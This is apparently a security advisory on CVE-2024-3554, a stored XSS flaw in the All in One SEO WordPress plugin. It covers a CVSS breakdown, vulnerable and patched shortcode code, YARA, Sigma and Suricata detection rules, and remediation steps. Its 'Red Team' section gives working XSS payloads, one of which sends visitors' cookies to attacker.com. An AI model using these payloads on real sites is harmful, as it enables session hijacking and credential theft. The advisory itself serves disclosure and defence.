CVE-2024-3554

Executive Summary

CVE-2024-3554 is a Stored Cross-Site Scripting (XSS) vulnerability in the All in One SEO WordPress plugin, affecting versions up to and including 4.6.0. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the plugin's shortcodes. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No package manager (NPM, PyPI, Go, Ruby) is involved. The risk is limited to WordPress sites using the vulnerable plugin version.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires authentication but can lead to persistent compromise of user sessions.

Deep Dive & Mechanics

The vulnerability exists in the shortcode registration of the All in One SEO plugin. Shortcodes are processed by WordPress and can accept user-supplied attributes. The plugin fails to properly sanitize and escape these attributes before rendering them in the page HTML. An attacker with contributor-level access can create or edit a post/page containing a malicious shortcode like:

[aioseo_author name="<script>alert('XSS')</script>"]

When the page is rendered, the script executes in the context of any visitor's browser. The stored nature means the payload persists until the content is removed or patched.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.6.0):

function aioseo_shortcode($atts) {
    $atts = shortcode_atts(array(
        'name' => '',
    ), $atts);
    return '<div class="aioseo-author">' . $atts['name'] . '</div>';
}
add_shortcode('aioseo_author', 'aioseo_shortcode');

Patched Code (Hypothetical):

function aioseo_shortcode($atts) {
    $atts = shortcode_atts(array(
        'name' => '',
    ), $atts);
    $safe_name = esc_html($atts['name']);
    return '<div class="aioseo-author">' . $safe_name . '</div>';
}
add_shortcode('aioseo_author', 'aioseo_shortcode');

The patched version uses esc_html() to escape output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: WordPress site with All in One SEO <= 4.6.0, contributor-level account.

2. Steps:

   • Log in as contributor.
   • Create a new post or edit an existing one.
   • Insert the shortcode with malicious payload:

     [aioseo_author name="<img src=x onerror=alert('XSS')>"]
     

   • Publish or save the post.
   • Any visitor viewing the post will trigger the XSS.

3. Advanced Payload:

   [aioseo_author name="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

Blue Team (Detection & Response)

• Monitor for unusual shortcode usage in post content.
• Look for posts containing <script> or event handlers in shortcode attributes.
• Use WAF rules to block common XSS patterns in POST requests.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/all-in-one-seo-pack/all_in_one_seo_pack.php (or similar)
• Pattern in database: Post content containing [aioseo_author with unescaped HTML/JavaScript.
• Network: Outbound requests to attacker-controlled domains from compromised pages.
• Logs: WordPress audit logs showing creation/editing of posts with suspicious shortcodes.

Detection Engineering

YARA Rule

rule CVE_2024_3554_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in All in One SEO shortcodes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3554"
    strings:
        $shortcode = /\[aioseo_author\s+name\s*=\s*["'][^"']*<[^>]*>["']/
        $script = /<script[^>]*>.*<\/script>/i
        $event = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        $shortcode and ($script or $event)
}

Sigma Rule

title: CVE-2024-3554 Stored XSS via All in One SEO Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects posts containing malicious shortcode attributes indicative of CVE-2024-3554 exploitation.
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains: '[aioseo_author'
        post_content|re: 'name\s*=\s*["''][^"'']*<[^>]*>["'']'
    condition: selection
falsepositives:
    - Legitimate use of HTML in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3554 Stored XSS via All in One SEO Shortcode"; flow:to_server; content:"[aioseo_author"; nocase; pcre:"/name\s*=\s*["'][^"']*<[^>]*>["']/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the All in One SEO plugin until a patch is available.
2. Workaround: Use a Web Application Firewall (WAF) to block requests containing [aioseo_author with suspicious attributes.
3. Long-term: Update to a patched version once released by the vendor.
4. User Access: Review and restrict contributor-level accounts. Implement principle of least privilege.
5. Monitoring: Enable WordPress audit logging and monitor for shortcode abuse.

Report generated by Valters IT DevSecOps Intelligence Unit